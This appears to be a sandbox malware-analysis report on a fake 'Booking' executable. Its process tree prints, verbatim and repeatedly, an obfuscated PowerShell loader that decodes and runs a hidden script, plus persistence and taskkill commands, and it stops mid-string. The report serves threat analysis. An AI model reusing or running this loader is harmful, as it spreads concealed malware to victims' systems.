Analysis

  • max time kernel
    300s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    25/08/2026, 01:03

General

  • Target
    Booking_132_500_copy_IMG.exe
  • Size 99KB
  • Sample260825-behb5adp51
  • SHA256 1ecd9e545e3aa57550b5066d6172c4fb75f71c5903fc1fee6699ca872d9c69fa
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 10 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Kills process with taskkill 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Booking_132_500_copy_IMG.exe
    "C:\Users\Admin\AppData\Local\Temp\Booking_132_500_copy_IMG.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2080
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\3e956bc1-b2b9-49cc-8070-739165e871c8.bat"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1560
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=54-19;$oXeJ6283=''2Fg7qWT9I'';$qTGFjZRU=''fe99a3feaf9491fdc3c79de5b9a8d485b788a5def9ace0a6adea90ec89a0b38f9886e7cddd82aef2bf9490f4bea2d698c99dc5d0d486ecbfb9efb29399bbb8fa95b9f880a0a3bbb8cb95bee9be90d0d08cf69aa8efafa0c4a9a5ea83a0dfba8e9ba5d7cb98bff4b59ad6b790b190e8e6ffa2d3f19bf79ee9f6a6d4d7eeee92e1c7ceaf9c8ce7cecb80a8f8abddd3c086fb83a3f9a8ddcd9ee9c3a2a8e9f5ae9be195f18fa8cdb49490e7aef982acfabe8fa3a9d9cb89aee8a9948aeab3ea83b9f2b89292b3deb8b783f8afd3adf680ed9ea4e9a2ad8cfc97f78fa2f18f848ef6bea2d699f1a8cccc9ee9bc8dfeade6d5a1e2c3bf80acf0f49aa4dc80f39cacf6ac8dccdf8ffa8da3f5b9cbb7e0dbdbbfbaa8e9b88fa78ae29c97ceab8bc6d491e89f8ad8abb787fd8dd2a3ffedee88a8e793aaa4a6a8aebe92e3a8ad9cf8f48f898ea181eda0acb2bc8c97e395ac99f9e9ecb29be2a8faa9bac78bb989df8ef79dacd2bf91b3d899efa7a4feb2a4b9fc8ad4a381f1b99ccde4b9db81bbd7ba9a8ff1c8d49dfbff9a90b4dcd6f59cacf1af8e97c992afbffef4eeb1bae3d7cf83a3d4b5b88be182af9487cae98dcbdc93f79e82fbae8c93d590ada08eebeecfaae391edafa1d6908790e2a4f398f9e8888ac8f6a5e9a6b4d7a3b1ccf28fc2de9be9909bb8e2d5f9c3bad78ccf90cab0ea9baff897968ddc8df08da4feb29eada590e89e8ae8979c9afdafe9dea1edbac98ef0a0dd80acfc919a8ce293f08fa4a9ae9f8bf78ffa81a3f491b2a7e0d4d7bfb8ff94cd95abb3d98197deb685a7c084ef9da8d4b08d87fd8bd2bbfdf2ef98aae391fdaea6a8b1b888d9b3dc98f8eced898ed8a1ee9f81dca2bcc3aec4b1e1c7dcbf99d3c79ae889edb08f848ef6a7fd8aa4f3b28997fc8db8c496c9be858abda6f68fa2f9b29399ced9a2b999dbe3d3b9f697cb98bff4b59ad6c8a0f782bbf8a989a3a9d9de9ea2f0999c8df6d5acbfb9efb29399bbc7f9dffdb4f2d4f39985ed82aee9b29290b387b0c8acaeead485b782abdef0d3be8ad3dc81f289aee9fbb39be7cdcf89afdeb7949bfd97a3c48af8afd0acf28dfc83a0bdff9ccda2c3b5afa2e8b589deb782abdde3deb48890e7cae4c9b6e9a98485e186ec99bff3fbd99fa0d1b6a8a2eab59191f287dc8db9fcf3d9a1ba9efb8db9feb38683ee9e95e6abe8b59e8afa8cf6cca4b5ff9ccdbfc7f9d8e1b9bac8d2b782aed18db5f2d485b782afd196cdb39c90e78cf5abace9bea0c4a9aff78da9dca88e9bfe81f495e5b9baced7a8c7f9d4f0b9bacad0d486ecb8b4edbe8ed6ba9fa797e9c2f5bb8bff8fd68da0f8fbd09b'';$gEkvtBuFo=''FjMWAxB/Okh9Xi4WAxwsRgloKnZGCktmKUh9Uj8aOXZnZwB5BGdbDUosQwVyA3pcBWJuYAtvOjttEwQlbjVPM31oC3cxY0d5CSV1J083MzV3EyFbCn5BRwFWK3dHKA9BaTZfAXhCMxklKEU1XDdQUhlrZ0Q9Q3ILTG1xUhh9E3pRS19ZQA9oDmVTFktwXFYmJGFXA1BnSAJvE3JcAUEqJQ0kTm4JRkU7LyVyEXxZBwwmY1wwQ3IES1kPC2EWQ3EDX2QqKURDFjMVD31VR0s1RzgSSntzIUt7BGVXUVRjWARGClZZWw9RbxxmAmVdLWFvcT9/C1piB0lIeD1wF0dXBRFRZQBWJFBeK2hnbTYqIH0HUEFpSzR5EllLM0hyVQlrEzhQBX5bPEs1Tj8aSntzIUtxPkR0BUd0ZF9vP1YBWnRGeSIzJmRBNkJ1TApeVGNlB0xyKghyF1BkBVA1Ql8pElFeBRk/JkU1SzsaPVUiJgFFMFVVAVJnMh9YJWtGTWV6cjR6ECtmIxc6RS1rXiVrDG5gZBtoTHFVOH0/JkU1Th44C0IqKUh+VS5WQgBgMEUxBn1WSgBjNVFHM3ZKFgpHbw9zA3pcBXk4OzlIISscJUF2UhhuDn1VSgBgM0U1Sn5TFkdqKTNtRzRIARZrcQ5dWjQbQg8iKTNtRzRdVHxSe1VyASEKVX14Yl4sEWQPXwMrIUc8T0xDQgN2YkNMQDobGSkIIUw4BSASXwQqXh08QHtrD2IxNSMoEyRXO09yLglrBEtXG0daZxR/N1cBWk5keVRYIyBGVWhubidECmNTOklYZC9wU1hkRQ0iOkw4BSASXwQmY18yNGZQEVBwaAJ7TyMeQgBgMkJQAn1VFkwiLEwtVTo/aABjMl08WjMaPVUiJhtdWi4VSwQ5DGY4BScPSntzIUtyLnpwBRE0VgspJHABVUlnJkU8TDMaPVUiJgJWNEZVBRk/JkUnahkSQgQiaEw0PFBdDFJncxhBXSl0EEtvQw1vAiUGMVBwaAJ7Tzd/A1BhaQlvPCJvSw0iJQ4oRzttEwQlZlhPAXRdKxklKExcTzdQUQgiJQ0vVj8SSntzIUtyLWZmCRFVVwJdWi4VSwgiKTNtRzRdV3dVciVXBDQbTgQqXh08QGRjXxklKEwwRzttEwQlaA9yLzQbSykIIUw8R1RXFglScwN/AmBBHldtcxg8JENnQglmZB9/G2BXDkFhdUwxAXpAEVAiNBB6EzN8A0lnLS9MMjNPby4PC0w8RzMSQgQiIUw='';$j7Hm1FEaL=0xF22A-0x7DBB;$vFrDb0RYW=@();foreach($c in [char[]]$oXeJ6283){$vFrDb0RYW+=[byte]($c-bxor0xAA)};$czuENo=$vFrDb0RYW;$vFrDb0RYW=@();foreach($c in [char[]]$oXeJ6283){$vFrDb0RYW+=[byte]($c-bxor0x55)};$lwtUCZQk=$vFrDb0RYW;$vFrDb0RYWoldR='''';$i=0;for($j=0;$j-lt$qTGFjZRU.Length;$j+=2){$vFrDb0RYWoldR+=[char](([Convert]::ToInt32($qTGFjZRU.Substring($j,2),16))-bxor$czuENo[$i++%$czuENo.Length])};$q2l3ZvW9=$vFrDb0RYWoldR;$vFrDb0RYWoldB=[Convert]::FromBase64String([regex]::Replace($gEkvtBuFo, ''$vFrDb0RYW'', ''''));$vFrDb0RYWoldR='''';$i=0;for($j=0;$j-lt$vFrDb0RYWoldB.Length;$j++){$vFrDb0RYWoldR+=[char]($vFrDb0RYWoldB[$j]-bxor$lwtUCZQk[$i++%$lwtUCZQk.Length])};$tcc9Pv=$vFrDb0RYWoldR;$sw97iJcE=$q2l3ZvW9+$tcc9Pv;.($env:ComSpec[4,26,25]-join'''') $sw97iJcE\"'" ; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\3e956bc1-b2b9-49cc-8070-739165e871c8.bat' -Destination 'C:\ProgramData\mjbbddm.bat' -Force -ErrorAction SilentlyContinue
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3788
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=54-19;$oXeJ6283='2Fg7qWT9I';$qTGFjZRU='fe99a3feaf9491fdc3c79de5b9a8d485b788a5def9ace0a6adea90ec89a0b38f9886e7cddd82aef2bf9490f4bea2d698c99dc5d0d486ecbfb9efb29399bbb8fa95b9f880a0a3bbb8cb95bee9be90d0d08cf69aa8efafa0c4a9a5ea83a0dfba8e9ba5d7cb98bff4b59ad6b790b190e8e6ffa2d3f19bf79ee9f6a6d4d7eeee92e1c7ceaf9c8ce7cecb80a8f8abddd3c086fb83a3f9a8ddcd9ee9c3a2a8e9f5ae9be195f18fa8cdb49490e7aef982acfabe8fa3a9d9cb89aee8a9948aeab3ea83b9f2b89292b3deb8b783f8afd3adf680ed9ea4e9a2ad8cfc97f78fa2f18f848ef6bea2d699f1a8cccc9ee9bc8dfeade6d5a1e2c3bf80acf0f49aa4dc80f39cacf6ac8dccdf8ffa8da3f5b9cbb7e0dbdbbfbaa8e9b88fa78ae29c97ceab8bc6d491e89f8ad8abb787fd8dd2a3ffedee88a8e793aaa4a6a8aebe92e3a8ad9cf8f48f898ea181eda0acb2bc8c97e395ac99f9e9ecb29be2a8faa9bac78bb989df8ef79dacd2bf91b3d899efa7a4feb2a4b9fc8ad4a381f1b99ccde4b9db81bbd7ba9a8ff1c8d49dfbff9a90b4dcd6f59cacf1af8e97c992afbffef4eeb1bae3d7cf83a3d4b5b88be182af9487cae98dcbdc93f79e82fbae8c93d590ada08eebeecfaae391edafa1d6908790e2a4f398f9e8888ac8f6a5e9a6b4d7a3b1ccf28fc2de9be9909bb8e2d5f9c3bad78ccf90cab0ea9baff897968ddc8df08da4feb29eada590e89e8ae8979c9afdafe9dea1edbac98ef0a0dd80acfc919a8ce293f08fa4a9ae9f8bf78ffa81a3f491b2a7e0d4d7bfb8ff94cd95abb3d98197deb685a7c084ef9da8d4b08d87fd8bd2bbfdf2ef98aae391fdaea6a8b1b888d9b3dc98f8eced898ed8a1ee9f81dca2bcc3aec4b1e1c7dcbf99d3c79ae889edb08f848ef6a7fd8aa4f3b28997fc8db8c496c9be858abda6f68fa2f9b29399ced9a2b999dbe3d3b9f697cb98bff4b59ad6c8a0f782bbf8a989a3a9d9de9ea2f0999c8df6d5acbfb9efb29399bbc7f9dffdb4f2d4f39985ed82aee9b29290b387b0c8acaeead485b782abdef0d3be8ad3dc81f289aee9fbb39be7cdcf89afdeb7949bfd97a3c48af8afd0acf28dfc83a0bdff9ccda2c3b5afa2e8b589deb782abdde3deb48890e7cae4c9b6e9a98485e186ec99bff3fbd99fa0d1b6a8a2eab59191f287dc8db9fcf3d9a1ba9efb8db9feb38683ee9e95e6abe8b59e8afa8cf6cca4b5ff9ccdbfc7f9d8e1b9bac8d2b782aed18db5f2d485b782afd196cdb39c90e78cf5abace9bea0c4a9aff78da9dca88e9bfe81f495e5b9baced7a8c7f9d4f0b9bacad0d486ecb8b4edbe8ed6ba9fa797e9c2f5bb8bff8fd68da0f8fbd09b';$gEkvtBuFo='FjMWAxB/Okh9Xi4WAxwsRgloKnZGCktmKUh9Uj8aOXZnZwB5BGdbDUosQwVyA3pcBWJuYAtvOjttEwQlbjVPM31oC3cxY0d5CSV1J083MzV3EyFbCn5BRwFWK3dHKA9BaTZfAXhCMxklKEU1XDdQUhlrZ0Q9Q3ILTG1xUhh9E3pRS19ZQA9oDmVTFktwXFYmJGFXA1BnSAJvE3JcAUEqJQ0kTm4JRkU7LyVyEXxZBwwmY1wwQ3IES1kPC2EWQ3EDX2QqKURDFjMVD31VR0s1RzgSSntzIUt7BGVXUVRjWARGClZZWw9RbxxmAmVdLWFvcT9/C1piB0lIeD1wF0dXBRFRZQBWJFBeK2hnbTYqIH0HUEFpSzR5EllLM0hyVQlrEzhQBX5bPEs1Tj8aSntzIUtxPkR0BUd0ZF9vP1YBWnRGeSIzJmRBNkJ1TApeVGNlB0xyKghyF1BkBVA1Ql8pElFeBRk/JkU1SzsaPVUiJgFFMFVVAVJnMh9YJWtGTWV6cjR6ECtmIxc6RS1rXiVrDG5gZBtoTHFVOH0/JkU1Th44C0IqKUh+VS5WQgBgMEUxBn1WSgBjNVFHM3ZKFgpHbw9zA3pcBXk4OzlIISscJUF2UhhuDn1VSgBgM0U1Sn5TFkdqKTNtRzRIARZrcQ5dWjQbQg8iKTNtRzRdVHxSe1VyASEKVX14Yl4sEWQPXwMrIUc8T0xDQgN2YkNMQDobGSkIIUw4BSASXwQqXh08QHtrD2IxNSMoEyRXO09yLglrBEtXG0daZxR/N1cBWk5keVRYIyBGVWhubidECmNTOklYZC9wU1hkRQ0iOkw4BSASXwQmY18yNGZQEVBwaAJ7TyMeQgBgMkJQAn1VFkwiLEwtVTo/aABjMl08WjMaPVUiJhtdWi4VSwQ5DGY4BScPSntzIUtyLnpwBRE0VgspJHABVUlnJkU8TDMaPVUiJgJWNEZVBRk/JkUnahkSQgQiaEw0PFBdDFJncxhBXSl0EEtvQw1vAiUGMVBwaAJ7Tzd/A1BhaQlvPCJvSw0iJQ4oRzttEwQlZlhPAXRdKxklKExcTzdQUQgiJQ0vVj8SSntzIUtyLWZmCRFVVwJdWi4VSwgiKTNtRzRdV3dVciVXBDQbTgQqXh08QGRjXxklKEwwRzttEwQlaA9yLzQbSykIIUw8R1RXFglScwN/AmBBHldtcxg8JENnQglmZB9/G2BXDkFhdUwxAXpAEVAiNBB6EzN8A0lnLS9MMjNPby4PC0w8RzMSQgQiIUw=';$j7Hm1FEaL=0xF22A-0x7DBB;$vFrDb0RYW=@();foreach($c in [char[]]$oXeJ6283){$vFrDb0RYW+=[byte]($c-bxor0xAA)};$czuENo=$vFrDb0RYW;$vFrDb0RYW=@();foreach($c in [char[]]$oXeJ6283){$vFrDb0RYW+=[byte]($c-bxor0x55)};$lwtUCZQk=$vFrDb0RYW;$vFrDb0RYWoldR='';$i=0;for($j=0;$j-lt$qTGFjZRU.Length;$j+=2){$vFrDb0RYWoldR+=[char](([Convert]::ToInt32($qTGFjZRU.Substring($j,2),16))-bxor$czuENo[$i++%$czuENo.Length])};$q2l3ZvW9=$vFrDb0RYWoldR;$vFrDb0RYWoldB=[Convert]::FromBase64String([regex]::Replace($gEkvtBuFo, '$vFrDb0RYW', ''));$vFrDb0RYWoldR='';$i=0;for($j=0;$j-lt$vFrDb0RYWoldB.Length;$j++){$vFrDb0RYWoldR+=[char]($vFrDb0RYWoldB[$j]-bxor$lwtUCZQk[$i++%$lwtUCZQk.Length])};$tcc9Pv=$vFrDb0RYWoldR;$sw97iJcE=$q2l3ZvW9+$tcc9Pv;.($env:ComSpec[4,26,25]-join'') $sw97iJcE"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:6124
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kmcldxbl\kmcldxbl.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4720
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES29F4.tmp" "c:\Users\Admin\AppData\Local\Temp\kmcldxbl\CSC996CDBF0F30540B289C9CF6370D5A290.TMP"
              6⤵
                PID:3364
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:3448
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
                6⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:5536
                • C:\Windows\system32\taskkill.exe
                  taskkill /IM RegAsm.exe /F
                  7⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3096
                • C:\Windows\system32\taskkill.exe
                  taskkill /IM Vbc.exe /F
                  7⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1688
                • C:\Windows\system32\taskkill.exe
                  taskkill /IM MsBuild.exe /F
                  7⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1376
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=54-19;$oXeJ6283=''2Fg7qWT9I'';$qTGFjZRU=''fe99a3feaf9491fdc3c79de5b9a8d485b788a5def9ace0a6adea90ec89a0b38f9886e7cddd82aef2bf9490f4bea2d698c99dc5d0d486ecbfb9efb29399bbb8fa95b9f880a0a3bbb8cb95bee9be90d0d08cf69aa8efafa0c4a9a5ea83a0dfba8e9ba5d7cb98bff4b59ad6b790b190e8e6ffa2d3f19bf79ee9f6a6d4d7eeee92e1c7ceaf9c8ce7cecb80a8f8abddd3c086fb83a3f9a8ddcd9ee9c3a2a8e9f5ae9be195f18fa8cdb49490e7aef982acfabe8fa3a9d9cb89aee8a9948aeab3ea83b9f2b89292b3deb8b783f8afd3adf680ed9ea4e9a2ad8cfc97f78fa2f18f848ef6bea2d699f1a8cccc9ee9bc8dfeade6d5a1e2c3bf80acf0f49aa4dc80f39cacf6ac8dccdf8ffa8da3f5b9cbb7e0dbdbbfbaa8e9b88fa78ae29c97ceab8bc6d491e89f8ad8abb787fd8dd2a3ffedee88a8e793aaa4a6a8aebe92e3a8ad9cf8f48f898ea181eda0acb2bc8c97e395ac99f9e9ecb29be2a8faa9bac78bb989df8ef79dacd2bf91b3d899efa7a4feb2a4b9fc8ad4a381f1b99ccde4b9db81bbd7ba9a8ff1c8d49dfbff9a90b4dcd6f59cacf1af8e97c992afbffef4eeb1bae3d7cf83a3d4b5b88be182af9487cae98dcbdc93f79e82fbae8c93d590ada08eebeecfaae391edafa1d6908790e2a4f398f9e8888ac8f6a5e9a6b4d7a3b1ccf28fc2de9be9909bb8e2d5f9c3bad78ccf90cab0ea9baff897968ddc8df08da4feb29eada590e89e8ae8979c9afdafe9dea1edbac98ef0a0dd80acfc919a8ce293f08fa4a9ae9f8bf78ffa81a3f491b2a7e0d4d7bfb8ff94cd95abb3d98197deb685a7c084ef9da8d4b08d87fd8bd2bbfdf2ef98aae391fdaea6a8b1b888d9b3dc98f8eced898ed8a1ee9f81dca2bcc3aec4b1e1c7dcbf99d3c79ae889edb08f848ef6a7fd8aa4f3b28997fc8db8c496c9be858abda6f68fa2f9b29399ced9a2b999dbe3d3b9f697cb98bff4b59ad6c8a0f782bbf8a989a3a9d9de9ea2f0999c8df6d5acbfb9efb29399bbc7f9dffdb4f2d4f39985ed82aee9b29290b387b0c8acaeead485b782abdef0d3be8ad3dc81f289aee9fbb39be7cdcf89afdeb7949bfd97a3c48af8afd0acf28dfc83a0bdff9ccda2c3b5afa2e8b589deb782abdde3deb48890e7cae4c9b6e9a98485e186ec99bff3fbd99fa0d1b6a8a2eab59191f287dc8db9fcf3d9a1ba9efb8db9feb38683ee9e95e6abe8b59e8afa8cf6cca4b5ff9ccdbfc7f9d8e1b9bac8d2b782aed18db5f2d485b782afd196cdb39c90e78cf5abace9bea0c4a9aff78da9dca88e9bfe81f495e5b9baced7a8c7f9d4f0b9bacad0d486ecb8b4edbe8ed6ba9fa797e9c2f5bb8bff8fd68da0f8fbd09b'';$gEkvtBuFo=''FjMWAxB/Okh9Xi4WAxwsRgloKnZGCktmKUh9Uj8aOXZnZwB5BGdbDUosQwVyA3pcBWJuYAtvOjttEwQlbjVPM31oC3cxY0d5CSV1J083MzV3EyFbCn5BRwFWK3dHKA9BaTZfAXhCMxklKEU1XDdQUhlrZ0Q9Q3ILTG1xUhh9E3pRS19ZQA9oDmVTFktwXFYmJGFXA1BnSAJvE3JcAUEqJQ0kTm4JRkU7LyVyEXxZBwwmY1wwQ3IES1kPC2EWQ3EDX2QqKURDFjMVD31VR0s1RzgSSntzIUt7BGVXUVRjWARGClZZWw9RbxxmAmVdLWFvcT9/C1piB0lIeD1wF0dXBRFRZQBWJFBeK2hnbTYqIH0HUEFpSzR5EllLM0hyVQlrEzhQBX5bPEs1Tj8aSntzIUtxPkR0BUd0ZF9vP1YBWnRGeSIzJmRBNkJ1TApeVGNlB0xyKghyF1BkBVA1Ql8pElFeBRk/JkU1SzsaPVUiJgFFMFVVAVJnMh9YJWtGTWV6cjR6ECtmIxc6RS1rXiVrDG5gZBtoTHFVOH0/JkU1Th44C0IqKUh+VS5WQgBgMEUxBn1WSgBjNVFHM3ZKFgpHbw9zA3pcBXk4OzlIISscJUF2UhhuDn1VSgBgM0U1Sn5TFkdqKTNtRzRIARZrcQ5dWjQbQg8iKTNtRzRdVHxSe1VyASEKVX14Yl4sEWQPXwMrIUc8T0xDQgN2YkNMQDobGSkIIUw4BSASXwQqXh08QHtrD2IxNSMoEyRXO09yLglrBEtXG0daZxR/N1cBWk5keVRYIyBGVWhubidECmNTOklYZC9wU1hkRQ0iOkw4BSASXwQmY18yNGZQEVBwaAJ7TyMeQgBgMkJQAn1VFkwiLEwtVTo/aABjMl08WjMaPVUiJhtdWi4VSwQ5DGY4BScPSntzIUtyLnpwBRE0VgspJHABVUlnJkU8TDMaPVUiJgJWNEZVBRk/JkUnahkSQgQiaEw0PFBdDFJncxhBXSl0EEtvQw1vAiUGMVBwaAJ7Tzd/A1BhaQlvPCJvSw0iJQ4oRzttEwQlZlhPAXRdKxklKExcTzdQUQgiJQ0vVj8SSntzIUtyLWZmCRFVVwJdWi4VSwgiKTNtRzRdV3dVciVXBDQbTgQqXh08QGRjXxklKEwwRzttEwQlaA9yLzQbSykIIUw8R1RXFglScwN/AmBBHldtcxg8JENnQglmZB9/G2BXDkFhdUwxAXpAEVAiNBB6EzN8A0lnLS9MMjNPby4PC0w8RzMSQgQiIUw='';$j7Hm1FEaL=0xF22A-0x7DBB;$vFrDb0RYW=@();foreach($c in [char[]]$oXeJ6283){$vFrDb0RYW+=[byte]($c-bxor0xAA)};$czuENo=$vFrDb0RYW;$vFrDb0RYW=@();foreach($c in [char[]]$oXeJ6283){$vFrDb0RYW+=[byte]($c-bxor0x55)};$lwtUCZQk=$vFrDb0RYW;$vFrDb0RYWoldR='''';$i=0;for($j=0;$j-lt$qTGFjZRU.Length;$j+=2){$vFrDb0RYWoldR+=[char](([Convert]::ToInt32($qTGFjZRU.Substring($j,2),16))-bxor$czuENo[$i++%$czuENo.Length])};$q2l3ZvW9=$vFrDb0RYWoldR;$vFrDb0RYWoldB=[Convert]::FromBase64String([regex]::Replace($gEkvtBuFo, ''$vFrDb0RYW'', ''''));$vFrDb0RYWoldR='''';$i=0;for($j=0;$j-lt$vFrDb0RYWoldB.Length;$j++){$vFrDb0RYWoldR+=[char]($vFrDb0RYWoldB[$j]-bxor$lwtUCZQk[$i++%$lwtUCZQk.Length])};$tcc9Pv=$vFrDb0RYWoldR;$sw97iJcE=$q2l3ZvW9+$tcc9Pv;.($env:ComSpec[4,26,25]-join'''') $sw97iJcE\"'" ; Copy-Item -Path 'C:\ProgramData\mjbbddm.bat' -Destination 'C:\ProgramData\mjbbddm.bat' -Force -ErrorAction SilentlyContinue
      1⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5732
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=54-19;$oXeJ6283='2Fg7qWT9I';$qTGFjZRU='fe99a3feaf9491fdc3c79de5b9a8d485b788a5def9ace0a6adea90ec89a0b38f9886e7cddd82aef2bf9490f4bea2d698c99dc5d0d486ecbfb9efb29399bbb8fa95b9f880a0a3bbb8cb95bee9be90d0d08cf69aa8efafa0c4a9a5ea83a0dfba8e9ba5d7cb98bff4b59ad6b790b190e8e6ffa2d3f19bf79ee9f6a6d4d7eeee92e1c7ceaf9c8ce7cecb80a8f8abddd3c086fb83a3f9a8ddcd9ee9c3a2a8e9f5ae9be195f18fa8cdb49490e7aef982acfabe8fa3a9d9cb89aee8a9948aeab3ea83b9f2b89292b3deb8b783f8afd3adf680ed9ea4e9a2ad8cfc97f78fa2f18f848ef6bea2d699f1a8cccc9ee9bc8dfeade6d5a1e2c3bf80acf0f49aa4dc80f39cacf6ac8dccdf8ffa8da3f5b9cbb7e0dbdbbfbaa8e9b88fa78ae29c97ceab8bc6d491e89f8ad8abb787fd8dd2a3ffedee88a8e793aaa4a6a8aebe92e3a8ad9cf8f48f898ea181eda0acb2bc8c97e395ac99f9e9ecb29be2a8faa9bac78bb989df8ef79dacd2bf91b3d899efa7a4feb2a4b9fc8ad4a381f1b99ccde4b9db81bbd7ba9a8ff1c8d49dfbff9a90b4dcd6f59cacf1af8e97c992afbffef4eeb1bae3d7cf83a3d4b5b88be182af9487cae98dcbdc93f79e82fbae8c93d590ada08eebeecfaae391edafa1d6908790e2a4f398f9e8888ac8f6a5e9a6b4d7a3b1ccf28fc2de9be9909bb8e2d5f9c3bad78ccf90cab0ea9baff897968ddc8df08da4feb29eada590e89e8ae8979c9afdafe9dea1edbac98ef0a0dd80acfc919a8ce293f08fa4a9ae9f8bf78ffa81a3f491b2a7e0d4d7bfb8ff94cd95abb3d98197deb685a7c084ef9da8d4b08d87fd8bd2bbfdf2ef98aae391fdaea6a8b1b888d9b3dc98f8eced898ed8a1ee9f81dca2bcc3aec4b1e1c7dcbf99d3c79ae889edb08f848ef6a7fd8aa4f3b28997fc8db8c496c9be858abda6f68fa2f9b29399ced9a2b999dbe3d3b9f697cb98bff4b59ad6c8a0f782bbf8a989a3a9d9de9ea2f0999c8df6d5acbfb9efb29399bbc7f9dffdb4f2d4f39985ed82aee9b29290b387b0c8acaeead485b782abdef0d3be8ad3dc81f289aee9fbb39be7cdcf89afdeb7949bfd97a3c48af8afd0acf28dfc83a0bdff9ccda2c3b5afa2e8b589deb782abdde3deb48890e7cae4c9b6e9a98485e186ec99bff3fbd99fa0d1b6a8a2eab59191f287dc8db9fcf3d9a1ba9efb8db9feb38683ee9e95e6abe8b59e8afa8cf6cca4b5ff9ccdbfc7f9d8e1b9bac8d2b782aed18db5f2d485b782afd196cdb39c90e78cf5abace9bea0c4a9aff78da9dca88e9bfe81f495e5b9baced7a8c7f9d4f0b9bacad0d486ecb8b4edbe8ed6ba9fa797e9c2f5bb8bff8fd68da0f8fbd09b';$gEkvtBuFo='FjMWAxB/Okh9Xi4WAxwsRgloKnZGCktmKUh9Uj8aOXZnZwB5BGdbDUosQwVyA3pcBWJuYAtvOjttEwQlbjVPM31oC3cxY0d5CSV1J083MzV3EyFbCn5BRwFWK3dHKA9BaTZfAXhCMxklKEU1XDdQUhlrZ0Q9Q3ILTG1xUhh9E3pRS19ZQA9oDmVTFktwXFYmJGFXA1BnSAJvE3JcAUEqJQ0kTm4JRkU7LyVyEXxZBwwmY1wwQ3IES1kPC2EWQ3EDX2QqKURDFjMVD31VR0s1RzgSSntzIUt7BGVXUVRjWARGClZZWw9RbxxmAmVdLWFvcT9/C1piB0lIeD1wF0dXBRFRZQBWJFBeK2hnbTYqIH0HUEFpSzR5EllLM0hyVQlrEzhQBX5bPEs1Tj8aSntzIUtxPkR0BUd0ZF9vP1YBWnRGeSIzJmRBNkJ1TApeVGNlB0xyKghyF1BkBVA1Ql8pElFeBRk/JkU1SzsaPVUiJgFFMFVVAVJnMh9YJWtGTWV6cjR6ECtmIxc6RS1rXiVrDG5gZBtoTHFVOH0/JkU1Th44C0IqKUh+VS5WQgBgMEUxBn1WSgBjNVFHM3ZKFgpHbw9zA3pcBXk4OzlIISscJUF2UhhuDn1VSgBgM0U1Sn5TFkdqKTNtRzRIARZrcQ5dWjQbQg8iKTNtRzRdVHxSe1VyASEKVX14Yl4sEWQPXwMrIUc8T0